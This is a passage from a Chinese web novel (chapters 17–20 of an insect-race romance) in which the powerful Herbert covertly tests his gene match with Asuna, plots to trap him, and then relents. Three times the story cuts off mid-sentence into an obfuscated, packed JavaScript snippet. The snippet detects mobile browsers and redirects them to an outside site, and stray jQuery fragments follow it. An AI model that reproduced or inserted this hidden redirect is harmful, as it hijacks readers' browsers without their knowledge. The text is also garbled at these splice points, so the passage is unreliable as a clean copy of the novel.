他天性多疑,即使在初次见面时就被阿苏纳深深吸引,也依旧无法不去怀疑阿苏纳的出现和阿苏纳的特殊是否存在某种针对他的阴谋。 而在排除其他原因后,唯一的原因可能就藏在基因里。 虫族历史上有一段时间大肆推行基因胜论,在精神力能稳定确定前,基因优劣就是一切。哪怕在确定精神力等级后,也依旧会参考基因匹配度来确定伴侣,甚至曾搞出过基于基因的婚姻强制匹配制度。 即使现在基因胜论被证实存在漏洞,不能完全用来判定潜能和雌雄配对,基因也仍是极为重要的参考,许多事追根溯源都和基因有关,基因也因此被视为一个虫最重要的隐私之一。 赫伯特怀疑,阿苏纳的特殊也是源自他和阿苏纳的基因。所以借着体检的由头,他命令手下的虫又暗中给他和阿苏纳做了基因匹配检测。 现在这份报告就摆在他眼前,是与不是马上就会揭晓。 赫伯特翻开那份基因匹配报告,直接翻到了最后的结论部分,上边显示: 【经检测,确定两者基因匹配度为:93%】。 下边还有一行小字提示:处于高基因匹配度范围,可能存在超敏、共振等情况,属于正常现象。 “93%的基因匹配度啊……”赫伯特挑眉,手指在那条结论上轻弹了一下,嘴角不自觉翘起,“果然是天生就注定应该属于我。” 旁边的办公光脑屏幕上正在实时显示项目场地上的远程监控视频,无论视频里出现过多少虫,始终都只有一个主角。 这份报告被赫伯特放在了一旁,随即把助理叫了进来。 助理进来时目光扫视到放在边上的报告,心里立刻有了数,恭敬地站在赫伯特面前说:“阁下,请问您有什么吩咐?” 赫伯特视线移向仍在播放的实时监控画面,目光落在认真处理工作的阿苏纳身上,弯了弯嘴角:“把时间给我空出来几天,我要亲自去看看之前那些没有头脑的蠢虫都把我的项目霍霍成什么样了。” “是。”助理脖子以上一寒,没有头脑的蠢虫做了不该做的事,于是雄虫阁下就真的让他们在物理意义上没有头脑了。 他在心里再次警醒自己,在雄虫阁下身边一定要守好底线。 …… 迎接身为集团掌控者的雄虫阁下,自然少不了晚宴。即使雄虫阁下没打招呼直接到访,也不耽误手下的虫想要表现自己。别说是临时到访,就算是半夜到访,他们也能马上整出高规格宴席。 宴会上,但凡算得上有头有脸的虫,都激动地轮番到赫伯特面前敬酒,恭维赞美的话像用不完一样,哗啦哗啦往外冒,没一句重复。 混到能在赫伯特眼前露面的虫都懂得如何恰到好处的拍马屁,一番话说下来既不显得谄媚,又极其自然地抬高了赫伯特,堪称教科书级别的社交话术。 但高等级雄虫从不缺奉承的话,再如何自然高明会说话,也很难说出新意说出亮点让雄虫阁下能高看一眼。 赫伯特面对乌泱泱凑上来讨好的虫,保持了雄虫难得的耐心,但面色始终淡淡的,看不出喜怒,让上前说话的虫既感到了荣幸,又难免心中忐忑。 阿苏纳作为唯二政府方的虫,虽然没有阿特斯职级高,却也有资格上前敬一杯酒。这是荣幸,也是礼仪。 周围的氛围虽然始终热烈,宴会上没有凑到雄虫阁下身边的虫也各有做的,或是相互敬酒,或是聊天谈事,但无一例外,都时刻暗中关注着赫伯特身边的一举一动。阿特斯带着阿苏纳上前向赫伯特敬酒,周围虫的目光就悄悄落在了他们身上。 阿特斯怀着忐忑不安的心情,小心翼翼地和赫伯特客套了几句,观察到赫伯特脸上并没有对他们的不满和怒气后,心里才真正松了口气。 他举起酒杯说:“阁下,我代表政府,万分感谢您能亲自来这里视察工作,我们之后会秉着更加严谨的态度,和贵集团共同完成这次的合作项目。” 说完他将杯中的红酒一饮而尽,以示尊重。 赫伯特只是微微抬起酒杯,并没有喝,这让阿特斯刚刚放松的心又不由紧绷起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064707|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 他朝旁边的阿苏纳递了个眼色,示意该阿苏纳上前敬酒了,而赫伯特的视线也移到了阿苏纳脸上,四目相接。 不知道为什么,阿苏纳在赫伯特平静的目光中反倒心跳加速了起来。 他垂在身旁的手指不自觉攥了攥,面上却带着官方笑容:“阁下,很荣幸在这里见到您,感谢——” “是么?” 阿苏纳的话还没说完,赫伯特就插了一句。 在赫伯特的视线下,连阿特斯也扭过头看向他,阿苏纳却不知道该如何回答,他甚至不清楚赫伯特为什么会这样说。 雄虫阁下的神色淡淡,让他分不清这句话只是随口而出,还是真的要让他回答些什么。 “是的,感谢阁下能不辞辛劳到此指点我们的工作。” 阿苏纳说完这句顿了顿,阿特斯还在等他往下说,就见他已经举起了酒杯,把阿特斯吓得出了一身冷汗,但雄虫阁下面前他也不好胡乱插嘴为阿苏纳补救,只能又转头去看赫伯特的脸色。 本来恭维的话不应该这么短暂,这么快就结束在雄虫阁下面前难免显得有些敷衍,阿苏纳自己也清楚这样不妥。但那一刹那他脑中变得空白,准备好的话忘得一干二净,实在说不下去了,只好闭上嘴,打算像阿特斯那样,将杯中酒一饮而尽。 然而,抬起酒杯的手腕却被赫伯特握住了。 阿苏纳的动作被迫停下,愣愣看向赫伯特,连一旁的阿特斯眼中也满是惊讶。 但赫伯特很快就松开手,指尖勾动,就将阿苏纳手中的酒杯拿到了自己的手里。 赫伯特端着那杯原本是阿苏纳的酒,看着他,神色依旧淡淡:“喝酒伤胃,这么瘦还是少喝点酒好。” 阿特斯很想提醒雄虫阁下,喝酒伤胃是用来劝解雄虫的,这点酒对雌虫来说,根本没有什么影响。但他转眼看到阿苏纳那副苍白削瘦的样子,又把嘴里的话咽了下去。 确实看起来挺惨的。 只是,那杯被夺走的酒却没有被简单地还回去。 刚刚还酒不沾口的雄虫阁下,抬手轻执起酒杯,缓送至唇边,轻抿了一口。 赫伯特微微翘起刚喝过酒液的唇角笑了一下,又将杯子塞回了阿苏纳手中:“算是替你喝过了。” 周围的嘈杂声明显大了,即使听不清再说些什么,但也能猜到肯定和雄虫阁下刚刚的举动有关。其他虫不一定能听清赫伯特说了什么,但绝对能看见他将一个雌虫手中的酒杯拿过喝了一口又放回去的动作。 就连站在旁边的阿特斯也麻了,完全搞不清赫伯特这种替别的虫喝下敬自己的酒是个什么操作,甚至刚刚那句喝酒伤胃还是他自己说的。 赫伯特却像是没有看见别的虫的震惊,仿佛他刚刚只是做了一件再正常不过的事情,转而又神色平淡地开始和下一个过来敬酒的虫说话。 阿苏纳手中攥着那杯酒,面色如常地跟着阿特斯离开。 宴会依旧,身后仍有源源不断的虫顶替他们的位置上前敬酒,阿苏纳紧攥的手指却未再松开。 18. 第 18 章 晚宴后,即使没有虫敢强迫赫伯特喝酒,但时不时轻抿一口积累下来依旧让他有了微醺的感觉。 微醺,不像大醉,在兴奋后很快就能陷入沉睡。也不像清醒时,能始终保持平静和自持。 微量酒气在体内,如同套房窗外翻涌的海浪,不是什么狂风暴雨下的波涛澎拜,却时不时撩拨海岸。 赫伯特洗完澡穿着浴袍,端着一杯清水站在正面落地窗前。室内仅开了一盏落地台灯,暖色的光线只微微照亮了房间内的装饰。 落地窗上映照出赫伯特的影子,而他的视线穿过明净的玻璃窗,望向了不远处的沙滩和大海。 几天不见阿苏纳,他心中的欲念假意平息,蛰伏在体内,却在看见阿苏纳的刹那又死灰复燃,烧得更加猛烈,爆出更加滚烫的热度。 在晚宴上,他将阿苏纳手中的那杯酒抢过,故意喝了一半,又故意将喝过的杯子塞回给阿苏纳。 那只杯子被阿苏纳端在手中,攥得杯身都有些微热,染上了淡淡的香气。他接过后,立刻就感知到杯身上残留的体温。本来只是想让阿苏纳少喝点酒,最后却神使鬼差地举起杯子将阿苏纳的酒混合着那股只有他能闻到的香气喝掉一半。 他不知道阿苏纳之前是否有用过那只杯子,也不知道阿苏纳之后是否还会用那只杯子和别的虫碰杯,但他只要一浮想翩翩,心里头就也像被杯身上残留的体温烫过一样,燥热难耐。 这种不可告虫的想法让他有些鄙夷自己,却又不可控地在脑中想了更多。 直到现在晚宴散去,仍让他心绪浮动。 “靠!” 赫伯特低骂一声,压低的眉眼中充斥着躁动。 作为虫族高等级雄虫和索斯福亚集团的掌控者,很少有需要他忍耐的事情。 他将手中的杯子放下,拿起光脑快速编辑信息发送了出去,随后换上了一套出门的衣服就径直离开了酒店,没有惊动其他虫,连走到哪带到哪的助理也没通知。 白日里热闹的沙滩在夜晚却几乎没有虫,只有海浪冲刷着细沙发出哗哗的声音。天亮时看起来发蓝的海水,到了夜里被高空的大灯照着,反倒像流动的绿色玉石。 海风呼呼,不算太大,带着海水的湿气。 这片海滩没有什么海腥味,缺少了一点在海边的真切感受,反倒像闯入了电影拍摄现场。 赫伯特随便在大灯照亮的细沙处坐了下来,没有了平日里出行的拥簇,高高在上的雄虫阁下仿佛也亲和到可以随便搭话。 没过多久,不远处传来醉鬼的吵嚷,嘴里含糊不清不知道在喊些什么,声音倒是蛮大,旁边还有一个虫在低声说小心之类的话。 赫伯特转过头,正好和阿苏纳四目相对。 他们隔了五六米,赫伯特看不清阿苏纳的表情,却能感觉到他浑身的不自然,对比旁边扭得和蛆一样的罗克斯,显得更加明显。 “阁下。”阿苏纳站定在那里,向赫伯特问好。 他的声音让旁边沉浸在醉酒行为艺术中的罗克斯终于注意到了不远处的赫伯特,立刻眼神都变得清澈了。 和阿苏纳不同,他没有站在原地问好,而是快步走上前去。 阿苏纳没法,也只能跟着上前,又近距离地对着赫伯特喊了一声阁下。 罗克斯弯腰鞠躬,眼珠子一转就开始说:“阁下,您也出来放风啊,阿瑞斯助理怎么没跟在您身边?现在海边也没什么虫,您这样独自在此真是让虫担心您的安全,还是应该有虫陪着您比较好。” 赫伯特抬眼斜看向他和阿苏纳,指了指旁边:“坐。” 还没等阿苏纳开口婉拒,罗克斯就又开口了:“不用了阁下,我就是喝多了酒出来吹吹风醒酒。想着阿苏纳先生是年轻虫,应该还没睡,才厚颜请他陪我出来。现在酒醒得差不多,困意就上头了。唉,年纪上来了就是不顶用。还得是让阿苏纳先生陪您在这,我就先告辞了。” 罗克斯和点炮炸似的劈里啪啦快速说完了一长串话,根本不给阿苏纳开口的机会,就压着阿苏纳的肩膀让他往地上坐。 阿苏纳一脸懵地看向罗克斯:“您……” 罗克斯满脸堆笑,态度却很坚决:“阿苏纳,阁下的安全就拜托给你们年轻虫了,我先回去睡觉了。” 说完,他就又朝赫伯特鞠了一躬:“阁下,那您看?” 赫伯特毫不在意地朝他摆摆手,他立马反应迅速地就转身快步离开,很快就消失在了阿苏纳的视野内,直到走远了才停下脚步。 他掏出光脑,数分钟前的信息还躺在光脑里:【想办法把阿苏纳带到海边,不要提我。】 罗克斯盯着这条信息终于松了口气。 海浪声哗哗,水花涌向岸边,又退散开。赫伯特和阿苏纳并肩坐在细沙上,带着海水湿气的风吹动发梢。 “阿苏纳。” “是,阁下,我在。” 赫伯特轻声笑了一下:“放松点,你这样不像是陪我看海,倒像是在给我守灵。” “阁下!”阿苏纳翻身成跪姿,对着赫伯特认真地说:“我绝没有这个意思。” 赫伯特侧目看向阿苏纳,从头打量到微陷在细沙里的膝盖,嘴角的微弱笑意消失,眼神也沉了下去。 他看得出,阿苏纳想要和他保持距离,因而对一句明显是玩笑的话反应这般过度。 是对靠近他的抗拒?还是对他的抗拒? 赫伯特的目光移到阿苏纳的脸上,那张平日里苍白的脸背对着光,只有侧脸的少部分被照亮。 阿苏纳的跪姿很标准,即使是跪着,腰也很笔挺,看不出谄媚或惊慌,只有安静和沉默。 他的眼睫下垂,避开和赫伯特视线的任何接触,却无法逃开赫伯特落在他脸上的视线。 他的话多少有点不识好歹。可连他请罪的动作,都极其坚定,没有一丝屈服的软弱。 他只是身体跪下了,但却不代表心也屈服了。 有意思。 赫伯特的手指捏起一把细沙,慢慢任由沙砾从指尖漏下,眼中的神色也跟着沙砾的流动变换。 一把沙漏完,赫伯特再次将目光放在了阿苏纳脸上,微笑着问他:“你累吗?” “嗯?”阿苏纳愣愣抬眼,眼眸在背光处反而像星河下被风吹乱的湖面,波光粼粼。 “我有点累了。”赫伯特说。 阿苏纳给出提议:“阁下,那您现在要回去吗?” “我不想回去。”赫伯特朝后仰,手垫在脑后直接躺在了细沙上,“回去之后我是需要严密保护的雄虫阁下,也是索斯福亚集团的掌控者,但现在,”赫伯特看了阿苏纳一眼,似乎在给出暗示,“我只是赫伯特。” 他用眼神示意阿苏纳躺到他旁边。 阿苏纳顺着他的眼神看了看地上,睁着两只大眼睛,张口就来:“阁下,地上什么都没有,您可以安心躺在这。” 赫伯特气笑了,一把握住阿苏纳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064708|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕,手上一用力,将他拽了下来。 “躺着。” 赫伯特将头转了回去,仰躺在沙上,闭上了眼睛,手却仍攥着阿苏纳的手腕,似乎是怕他再起身。 阿苏纳只好调整身体,乖乖躺在赫伯特旁边。 他的脸侧向赫伯特,轻声请求:“阁下,我不会离开,您可以放开我了。” 赫伯特没有睁眼看他,只是默默松开了手,又将手放到自己腹部轻搭着。 一时又陷入了沉默,只有海浪冲刷的声音让氛围不至于陷入尴尬。 其实也只有阿苏纳会陷入尴尬,赫伯特躺在沙滩上,浑身显而易见地散发着松弛感。 在阿苏纳以为赫伯特快睡着了的时候,赫伯特突然开口:“我其实很少有这样放松的时候。” 赫伯特只说了这一句就停住了,阿苏纳就算情商再低,这个时候也知道要接一句,他问:“您有什么烦恼吗?阁下。” 赫伯特闭着眼,声音伴着海浪声,显得格外平和:“阿苏纳,你怕我吗?” 阿苏纳沉默片刻,回答:“阁下,我尊敬您。” 对于这个回答,赫伯特没评价什么,只是轻“嗯”了一声。 他继续说:“确实,许多虫都会尊敬我这样的高等级雄虫,但是掌舵一个商界庞然大物却不是仅靠着雄虫阁下的身份和名头就可以高枕无忧的。” 说到这,赫伯特笑了一声,转过去屈肘撑起头,目光垂落在阿苏纳的双眼上,眼中带笑:“你不会也以为雄虫掌控集团就像电视剧里那样,只要袒露出雄虫的身份,就没有虫敢弄虚作假中饱私囊吧?” 这当然不可能,不然前些日子也不会出贪腐案,阿苏纳和赫伯特更不可能现在一起躺在这里聊天。 阿苏纳撞到赫伯特格外明亮的眼睛,下意识垂下视线,轻声回答:“不会的,我知道您很优秀,上学时曾经拿下过许多顶级数学和商科比赛的冠军,这些新闻上都有报道过。” 赫伯特翘起嘴角:“嗯,没想到你还关注过这些。” 阿苏纳默默想,他很难不知道这些事。在虫族几乎所有新闻媒体都密切关注着高等级雄虫阁下们的动态,更何况是这样能让所有虫惊讶的新闻。 养尊处优的雄虫阁下优秀得如此熠熠生辉,即使在雄虫保护法的规定下相关报道只是几行文字,没有任何照片,他也能从字里行间窥到那个闪闪发光的虫,无关性别。 赫伯特躺了回去,声音疲惫地说:“要顺利继承一个大集团并不容易,背负着那么多员工的生计和前途,我不想到我接手的时候就搞砸了,所以只能拼命努力,这样才能有能力肩负起集团的责任。其实有时候,我也很累,但即使感觉自己快撑不下去了,也要咬牙坚持下去。” 赫伯特没有说太多,嘴角却微不可察地翘起。 他想要阿苏纳彻底卸下心防主动靠近他,所以故意示弱,说出的这些话也半真半假。他耗费精力学那么多确实是为了接手集团,却不是为了什么员工的生计和前途,单纯是喜欢这种掌控别的虫命运的感觉。 如果只是做一个养尊处优不问世事只知玩乐的雄虫,他确实可以无忧无虑地当一辈子,但是那样肤浅低级的乐趣根本无法满足他。他需要的是更多虫的臣服,更多虫的生活被他掌控,他需要的是动动手指,就会影响一大堆虫的未来。这样才够刺激,这样才够有满足感。 就像他现在正在做的,处心积虑让身旁的雌虫自愿掉入他的网。 19. 第 19 章 阿苏纳微微侧头,视线悄悄落在了赫伯特脸上。 他清楚地知道躺在自己身侧的是能轻易拨弄普通虫命运的掌权者,是不可侵犯高高在上的雄虫阁下,是他不能随意应对的、不可随心应对的虫。 但可能是海风太过温柔,亦或是夜色太过包容,在赫伯特流露出脆弱和疲倦时,他的警醒、他的理智都短暂地让出了一个缺口。 或许是许久没有虫袒露心防想要和他说些无关利益的话,他突然很想抛去压在身上的各种顾虑,任性一回随心畅谈。 赫伯特的安静像是在等待他开口,同样诉说自己的烦恼,亦或是等待来自他的安慰。 但他在心防失守之际仍旧牢记了自己的身份,不敢逾越,不敢跨过界限去给与这位短暂流露脆弱的雄虫阁下以及时的安慰。 阿苏纳沉默片刻后,说起自己:“阁下,有好多次我也感觉自己撑不下去了,可到了最后,我发现我还是活了下来。每每这时,我就会嘲讽而又感叹,自己的求生欲远比想象得高。” 他的撑不下去不是像赫伯特那种单纯地放弃某件事,他面对的艰难时刻从来都是事关生死。 是战场上被炸烂骨翅、炸断四肢,伤口腐烂,没有及时的救援,缺少基本的饮食,依旧艰难爬行的痛苦。 是前程最辉煌时却被确诊精神力疾病从高位坠落,被政敌步步紧逼打压,走投无路,依然想要活着的挣扎。 是被诬陷、被接连数月高压审查,不让闭眼睡觉,单独关在无光密室,依旧反复告诉自己不能认输的煎熬。 海浪一阵接一阵哗哗地冲刷岸边,阿苏纳情绪平和地讲述起他的经历:“其实这座海边小城是我小时候生活的地方,我在这里度过了我的前五岁。” 赫伯特闭着眼静静听着,没有任何疑问,也没有打断他的话。 阿苏纳:“我的雌父是一位军雌,但他短暂的一辈子也只做到了上尉。他是单身受孕,本来预产期在一个月后,足够他回到安全区域待产,但实际上却提前在战场上意外生下了我。他当时只能狼狈抱着刚生出的虫蛋躲避战火,好在我和他都很命大,安全地活了下来。” 阿苏纳顿了顿,这些其实都是小时候他听说的事情,记忆太过久远,他再次回想起时更加模糊,分不清究竟是他雌父当时真这么说过,还是他自己长大后脑补出的合理解释。 不过他还是继续说了下去:“雌父很忙,作为军雌,他如果要赚取工资,就必须待在军队里,所以我出生不久就被送到了军队的保育院,后来又在幼儿园寄宿,直到五岁的时候雌父离世,没有虫给我缴纳不在正式教育体系的幼儿园费用,于是我就直接升到了小学,依旧全年寄宿在学校。就这样从小学,到中学,再到后来考入免费的军校。一路花费,一半靠军队和社会的福利体系,一半靠雌父的抚恤金。” 阿苏纳又顿住,他突然不想往下说了。接下来发生的是他生命中难得的璀璨高光,也是他最为意气风发的时候,但那样的高光在他猝不及防的时候戛然而止。然后,他的前途从高处直落,一落再落,剩下的只是一地鸡毛,狼狈不堪。 这些悲情色彩过于浓厚的往事,他不想再提及。 阿苏纳抿了抿嘴唇:“抱歉,阁下。”他希望雄虫阁下不要介意他的中断。 但其实赫伯特并不在意阿苏纳是否继续说下去。阿苏纳说的这些经历对他来说,和缺少画面的电影情节没有什么区别,甚至还是那种老套过时的苦情剧,只不过讲述的虫是阿苏纳,他才有了几分耐心听下去。 他无法共情这种悲惨经历,他甚至边听边思考,等会儿他要说些什么才能更让阿苏纳的心自愿靠近他。 “为什么要和我说抱歉?”赫伯特缓缓睁开眼,侧头看向阿苏纳,轻声说:“你一定从小过得很辛苦吧。” 他的眼中闪烁着光点,似是在怜惜,似是在安抚。 但他的内心实际上一片平静,只是用出色的伪装能力让自己看起来是位极富共情力、拥有同理心的虫。 他没有悲悯的能力,他现在心里唯一的想法是,这样躺在沙滩上有些伤感的阿苏纳真是让他想把他拉到大床上去。 他的脑子里想的越是些不堪入耳的下流话语,脸上的表情就越发温柔。 阿苏纳触及赫伯特眼中的神色,怔愣了一下,笑了出来:“阁下,其实我那个时候并不觉得辛苦。很抱歉,太难过的事情我现在还无法坦然在您面前说出来。” 赫伯特眼睛微眯,但很快又恢复温和:“没关系,我随时可以听你讲自己的事,不、急、在、这、一、时。” 说完,赫伯特勾了勾嘴角。 阿苏纳总感觉赫伯特这个看似温和的笑有哪里怪怪的,不过他很快就不去想了,毕竟雄虫阁下们总是很少笑,他可能是还没看习惯。 他转而认真解释起来:“我小的时候虽然过得艰辛,但是总归知道自己的每一分努力都会帮助未来的自己过得更好,也非常清楚自己该如何去做才能让未来变得更好,所以心里并不觉得太过难熬。” 赫伯特问:“那现在呢?你现在心里觉得日子很难熬吗?” 阿苏纳沉默片刻,才回答:“习惯了。” 他弯了弯嘴角,像在笑,又不像在笑,“从我雌父去世,我就意识到幼小的我无法掌控自己的命运,只能被动接受安排。我当时只以为那是因为我太过弱小,所以我一直在努力地长大,努力地变强。可后来我能掌握的东西越来越多,却发现依旧有很多事无法掌控。” 阿苏纳呼出一口气,“而现在,我能掌握的东西更加少,也更加无法掌控自己的命运。我甚至不能确定,我现在的坚持和努力是否仍会有未来。” 赫伯特挑眉,微微撑起身转向阿苏纳,问:“那你打算如何做?不能掌控自己的命运让你感到痛苦吗?” 阿苏纳反问了赫伯特一个问题:“阁下您有想要掌控但掌控不了的事情吗?” 赫伯特敛眸,勾唇:“当然。我非神灵,纵是神灵,我想,也应该会有无法掌控的事。” 阿苏纳轻轻点了点头,开始回答刚刚的问题:“以前我会感到痛苦,但其实是否能掌控一切并不是那么重要。” 赫伯特笑了一下:“是吗?” 阿苏纳:“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064709|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以预知的命运中,我在生活。失控的命运中,我同样在生活。” 阿苏纳看着赫伯特认真地说:“阁下,即使我心中因事情的失控难免有不安,但不变的是,我依然会努力活下去。我可能会痛苦,但也会坦然接受。而想要掌控一切的想法只会无端催生出痛苦。” 赫伯特的笑消失在嘴角。 海风吹过发梢,鬓角的碎发在风中摇动。 赫伯特问了一句:“你现在冷吗?” 阿苏纳不明所以,但还是回答:“阁下,我不冷。” 赫伯特点点头,站了起来,居高临下地看着阿苏纳,说:“把外套脱下来,我被海风吹得有点冷。” “啊?哦,好的。”阿苏纳快速起身,脱下外套披在赫伯特身上。 赫伯特面无表情地拢了拢外套,说:“时间不早了,我们也该回去了。” …… 助理在深夜收到了赫伯特的信息,特别设定的提示音一下子就让他从梦中惊醒,手忙脚乱地从身旁拿起光脑。 在黑暗中,光脑发出幽光,照亮了助理的脸。他微张开嘴,瞪圆了眼睛,眼中满是震惊。 他犹如见鬼般打开了全屋的灯光,仔仔细细又盯着光脑上的信息逐字看了一遍。 依旧是:【让罗克斯停下计划,扫尾干净。】 助理简直难以置信。 苍天呐,他跟着赫伯特阁下这么多年,第一次见到阁下还会心慈手软手下留情。 这个谋划是他亲口对罗克斯交待的,自然知道一旦按计划实施完成,很大概率会将阿苏纳逼到走投无路的境地,到时候,阿苏纳能求助的、能依靠的便只有赫伯特阁下。而这,只是赫伯特阁下计划掌控阿苏纳的第一步。 而现在,雄虫阁下居然要终止计划?! 助理伸手打了自己一巴掌,这也没做梦啊! 作为合格的助理,他头一次不太确定赫伯特的意思。为了不搞砸赫伯特交待的事情,他只好又发信息追问:【阁下,您是指阿苏纳先生那件事?】 赫伯特的回复只有一个字:【嗯。】 放下光脑的赫伯特,穿着睡袍站在落地窗前,遥遥望向那片海和沙滩,抿了一口手中的酒。 他脑中一遍遍回想今晚的夜色、今晚的海浪、今晚的沙滩,唯独不敢在心中念出那个让他感到有些束手束脚的名字,阿苏纳。 他不知道自己在畏惧什么,他不知道自己为何会退缩,他也不知道自己为何会让罗克斯收手。 他又灌了一口酒,仍由烈火般的酒液从喉间划过,但眼神却愈加清醒。 海风吹起海面的浪,今夜星辰的光迷惑了他的心。 阿苏纳的外套搭在沙发的扶手上,原本上边的气息早已在海风中消散。 赫伯特怅然呢喃:“今晚的海风还真是又冷又烈,容易吹坏脑子。阿苏纳,这就当是你借我衣服的报酬。” 如果熟知他的助理在这,可能会告诉他,这不是吹坏了脑子,而是吹高了道德底线。即使是冷酷无情的雄虫阁下,在彻底陷入爱河前也总是后知后觉,只有变得柔软的心不会骗虫。 20. 第 20 章 赫伯特在项目现场只短暂停留了两天,期间也并未大发雷霆,甚至偶有鼓励的话语,这让不少虫大大松了口气。 阿苏纳作为政府派来的代表之一,这两天随阿特斯一直跟在赫伯特身后。 尽管那天晚上他们放下了彼此的身份在海边畅谈,第二天再见时赫伯特却仍旧是前一天冷漠疏离的样子,并没有给予阿苏纳特殊关注,只是让助理将洗干净的外套私下还给了阿苏纳。 只是到了离开前的那个下午,赫伯特在做完总结讲话,其他虫听得热血沸腾的时候,突然头转向了阿苏纳。 万众瞩目之下,所有虫的目光都顺着赫伯特的视线落在了阿苏纳身上,而阿苏纳在惊讶后心跳也不自觉地加快。 如果说他现在身边最不受控的因素是什么,那便是这位让他摸不清心思的雄虫阁下了。赫伯特会做什么,他完全无法预料。 他注视着赫伯特嘴角勾起微微一道弧度,然后赫伯特对着他说:“既然这个项目目前进行得不错,阿苏纳,你明天就和我一起回去,我记得集团另一个项目政府这边也是你在负责?” 赫伯特轻笑了一声,“不能厚此薄彼。” 这句厚此薄彼不知道是在说阿苏纳还是他自己。阿苏纳被上级强压在这守着这个同事们避之不及的项目,而赫伯特身为高高在上的雄虫阁下和集团掌控者,却专门用一句话将阿苏纳又调了回去。 有了赫伯特的这句话,阿苏纳回去办公即使是他的上级也不能再说些什么。 第二天阿苏纳坐上车,就发现赫伯特已经端坐在车里闭目养神了。 按理说雄虫阁下兼整个项目的最大领导离开,其他虫都应该出来相送,但谁也没能在此之前得知离开的具体时间。就和赫伯特来的时候一样,像是某种独属于上位者的任性,其他虫谁也没有权力提前获知雄虫阁下的行程安排。 阿苏纳被助理从房间里叫出来的时候,时间还早,天色朦朦亮。幸好他昨晚提前收拾好了行李,才不至于花费太多时间整理让赫伯特多等。 “阁下,早安。”阿苏纳分不清赫伯特是否在睡觉,但出于礼仪,他也不能对雄虫阁下的存在视而不见,只能轻声问好,尽量不让自己的出现打扰到赫伯特。 赫伯特没有睁眼,只是轻“嗯”了一声。 车队很快就开动了,景物飞速后移。 助理就坐在司机旁边的副驾,从上车起就打开光脑,忙忙碌碌。 阿苏纳坐在赫伯特旁边,无事可干,目光只能放在车窗外。 本来他以为自己会和随行的其他虫共乘一车,但早上助理却以其他车满员为由,将他推上了雄虫阁下乘坐的这辆。而从他上车起,赫伯特就闭眼仰躺在车位上看起来是因为起太早精神不济正在补眠,所以他也就不需要在车上提起精神来应对雄虫阁下。 “你没事可以闭上眼休息一会儿,到了会有虫叫你起来。”赫伯特的声音突然响起。 阿苏纳立刻转头去看,却见赫伯特仍旧闭着眼。如果不是刚刚那句话,他还以为赫伯特早就睡着了。 “没关系,阁下,我早起习惯了,现在不困。”阿苏纳轻声回答。 “嗯。”赫伯特没有睁眼,也没再说什么,一副随他自便的样子,让阿苏纳放松不少。 车一路开得很顺。 他们出发得太早,很多虫还没有起床,所以路上极其畅通,基本没有什么车经过。 阿苏纳望着车窗外,只有清晨未散的雾气和郁郁葱葱植物从眼前划过,宁静而又美好。 但渐渐,他发现了不对劲的地方。 阿苏纳下意识警觉地坐起身,从后视镜中观察后边的车。 “怎么了?”赫伯特感知到阿苏纳的异样,掀起眼皮看了过去。 阿苏纳皱眉,将自己的疑虑说出:“后面有几辆车虽然不是一直紧跟在后边,但是这一路总是能看到他们。除了时不时加速超车或是减慢速度故意落后的几辆车,还有辆车之前在路口已经驶离,但不久又能看到跟了上来。这样故意避开我们的注意反而显得过于刻意,不太正常。” 他边说,司机和助理边顺着他的猜测也去观察后边的几辆车。 赫伯特沉思几秒后说:“阿瑞斯,按阿苏纳说的情况来处理。” “是。”助理立刻冷静地在光脑上发消息,然后从座位下掏出了一把枪。 同样,赫伯特也从掏出了两把枪,递了一把给阿苏纳,又分了一堆子弹给他:“你应该会用的对吧?我记得你之前说你大学去了军校。” 阿苏纳有些惊讶,但什么也没问,动作利落地接过了枪。 赫伯特对他说:“不要担心,车窗是防弹的,一时打不碎。我们先按兵不动,以防他们狗急跳墙,阿瑞斯已经联系了警方和索斯福亚集团的安保部门,等他们过来了再说。” 阿苏纳点了点头,刚要开口,就看见赫伯特对着他露出了一个安抚的笑容:“放心,我不会让你有事的。” 阿苏纳睁大了眼睛,懵了一下,这、这好像应该是雌虫对雄虫阁下的说的话,属于是经典电影台词,却被赫伯特抢先说了,一时竟分不清究竟谁才是应该被严格保护的雄虫阁下。 赫伯特又笑了一下,眼中的笑意明显,阿苏纳这才反应过来赫伯特刚刚居然是在和他开玩笑?明明处于危险时刻,却根本看不到这位雄虫阁下眼中的慌乱。 这下,安慰的话也说不出口了。 阿苏纳盯着后视镜,后边的那几辆可疑车仍旧变换地跟着,他对赫伯特说出自己的担忧:“阁下,也不知道这些虫的目的是什么,如果他们是在某个地段设了埋伏,而警方在此之前无法赶到,恐怕我们会被前后夹击。” 